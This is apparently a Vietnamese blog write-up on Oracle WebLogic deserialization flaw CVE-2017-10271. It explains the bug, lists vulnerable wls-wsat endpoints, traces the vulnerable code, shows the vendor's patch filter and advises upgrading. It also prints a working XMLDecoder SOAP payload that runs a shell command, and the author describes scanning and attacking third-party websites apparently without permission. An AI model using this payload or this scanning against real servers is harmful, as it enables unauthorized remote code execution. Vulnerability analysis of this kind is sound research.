WebLogic và deserialization

Oracle WebLogic Server là một java app server được tập đoàn Oracle phát triển và là một phần trong Oracle Fusion Middleware.

Hỗ trợ các csdl  Oracle, DB2, Microsoft SQL Server, MySQL Enterprise.

WebLogic là nền tảng đi đầu trong việc thực thi những giao dịch thương mại điện tử, được phát triển để kết nối nhiều người dùng trong môi trường phân tán và tạo điều kiện cho việc tích hợp các dữ liệu, ứng dụng được phân tán với ứng dụng trên mainframe.

Chức năng chính của WebLogic Server là nó sẽ bao gồm những connectors mà cho phép bất kì ứng dụng kế thừa (legacy application) từ bất kì client nào cũng có thể tương tác được với các ứng dụng server, các thành phần Enterprise JavaBean (EJB), tổng hợp tài nguyên (resource pooling), chia sẻ kết nối (connect sharing) khiến cho ứng dụng luôn có tính khả mở. Một bảng điều khiển của admin (admin console) với một giao diện người dùng (user interface) sẽ giúp việc quản lí các tác vụ một các hiệu quả hơn và những tính năng như hỗ trợ SSL cho việc mã hóa dữ liệu truyền đi, hay là các cơ chế xác thực, cho phép tăng tính bảo mật cho trang web và các giao dịch.

Gần đây có khá nhiều CVE liên quan đến WebLogic, phần lớn về việc khai thác những lỗ hổng deserialization của server này. Nói qua về serialization, là quá trình chuyển đổi một cấu trúc dữ liệu hay một đối tượng thành một định dạng có thể lưu trữ hay vận chuyển thông qua mạng được ( như là một chuỗi các bytes), sau đó nó có thể được phục hồi lại trạng thái ban đầu ở một môi trường khác bằng quá trình deserialization.  Kĩ thuật này được hỗ trợ trên nhiều ngôn ngữ như: Java, C++, C#, Python, PHP, ...

Tuy nhiên không chỉ "phân tích" các bytes thành một dạng dữ liệu khác, deserialization còn có thể phân tích và thực thi các phương thức. Đây chính là điểm mà các hacker có thể lợi dụng để khai thác và thực thi các lệnh độc hại.

CVE-2017-10271

Lỗ hổng này được gọi là Oracle WebLogic wls-wsat Component Deserialization RCE được công bố vào ngày 19/10/2017 trên NVD.

Các phiên bản bị ảnh hưởng là 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 và 12.2.1.2.0.

Cách khai thác lỗi này là sử dụng một payload XML để post request lên server cùng với header Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_151" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>touch /tmp/123</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

Đoạn dữ liệu trên khi được gửi đến đường dẫn /wls-wsat/CoordinatorPortType sẽ được server nhận vào và thực thi XMLDeserial() với nó. Sau khi deserialize, chương trình sẽ thực thi new ProcessBuilder("bash","-c","touch /tmp/123").start() , nếu chạy trên unix thì file /tmp/123 sẽ được tạo ra. Như vậy lỗ hổng này cho phép hacker thực thi được RCE và có thể toàn quyền chiếm dụng, kiểm soát server của nạn nhân.

Khai thác trên môi trường có lỗi

Có một tập các end-point có thể khai thác được lỗ hổng này trên WebLogic:

RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11

Thường có giao diện như sau khi ta GET tới:

Việc tìm ra được trang web để "hổng" phần URL này cho ta cơ hội để khai thác nó. Tôi có quét trên một tập lớn các website và tìm ra một danh sách các website có tiềm năng.

Vấn đề khi khai thác lỗ hổng này server sẽ không trả lại dấu hiệu gì trong response. Vậy nên ta cần các phương pháp như out-of-bounds, hay check một cách đơn giản bằng payload sau và đếm thời gian phản hồi của trang web:

Khi đã có mục tiêu, tôi dùng một vài payload để tấn công vào, và có các kết quả khác nhau trên các website khác nhau:

Có trang thẳng thừng từ chối request của mình, chắc hẳn đã có những cơ chế kiểm duyệt request đáng nghi:

Có trang thì:

Trang web này đã cập nhật bản vá của WebLogic, tức đã được bổ sung thêm một hàm kiểm tra:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

Và đã tìm thấy trang bị dính lỗ hổng:

Các hacker trên thế giới thường tận dụng lỗ hổng này để phát tán và thực thi mã độc đào tiền ảo trên chính server của nạn nhân. Các bước thông thường sẽ là download một file, phân quyền thực thi cho nó và chạy (đọc thêm). Tôi cũng là một nạn nhân khi cài môi trường WebLogic lên server để thử nghiệm scanner cho CVE này, chỉ 2 ngày sau khi cài lên, server dính ngay mã độc.

Vụ nhỏ có mà vụ lớn cũng có, một anh chàng đã có thể ngồi một chỗ và kiếm $250.000 từ lỗ hổng này (tham khảo)

Tìm hiểu kĩ hơn về lỗ hổng  

Để phân tích sâu hơn về lỗ hổng này, ta cần tìm phần mã nguồn bị khai thác.

Có thể thấy vấn đề bắt nguồn ở giao diện wls-wsat, có thể tìm thấy ở trong đường dẫn sau Oracle/Middleware/user_projects/domains/exp_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat  file wls-wsat.xml có nội dung như sau:

<servlet>
    <servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
    <servlet-class>weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl</servlet-class>
    <load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
    <url-pattern>/CoordinatorPortType</url-pattern>
</servlet-mapping>

Tương ứng với url khai thác được có đường dẫn là  /wls-wsat/CoordinatorPortType , tương ứng với lớp servlet CoordinatorPortTypePortImpl

Quá trình:

Khi gửi request lên server hàm processRequest() trong lớp weblogic.wsee.jaxws.workcontext.WorkContextServerTube sẽ được gọi

localHeader1 sau khi được nhận về thành công sẽ được truyền vào hàm readHeaderOld()

Nhận thấy trong hàm này có khởi tạo đối tượng lớp WorkContextXmlInputAdapter với tham số trong hàm khởi tạo chính là đoạn serialized XML, hàm này sẽ deserialize chuỗi đó

Đến đây thì những đoạn mã độc hại nhúng ở trong payload sẽ được thực thi.

Lời kết

WebLogic đang được sử dụng khá rộng rãi bởi các doanh nghiệp lớn nhỏ. Vậy nên việc nghiên cứu và khai thác nền tảng này sẽ đem đến nhiều cơ hội được bug bounty. Về CVE-2017-10271 nói riêng, đây là một lỗ hổng khá nghiêm trọng và cũng không quá khó để đề phòng, bảo vệ nó. Phương pháp tốt nhất là cập nhật server lên phiên bản mới nhất của WebLogic 12.2.1.3 , đã được ghi nhận là không chịu ảnh hưởng của CVE-2017-10271. Nếu không muốn nâng cấp server thì kiểm duyệt dữ liệu trong header cũng là một phương pháp.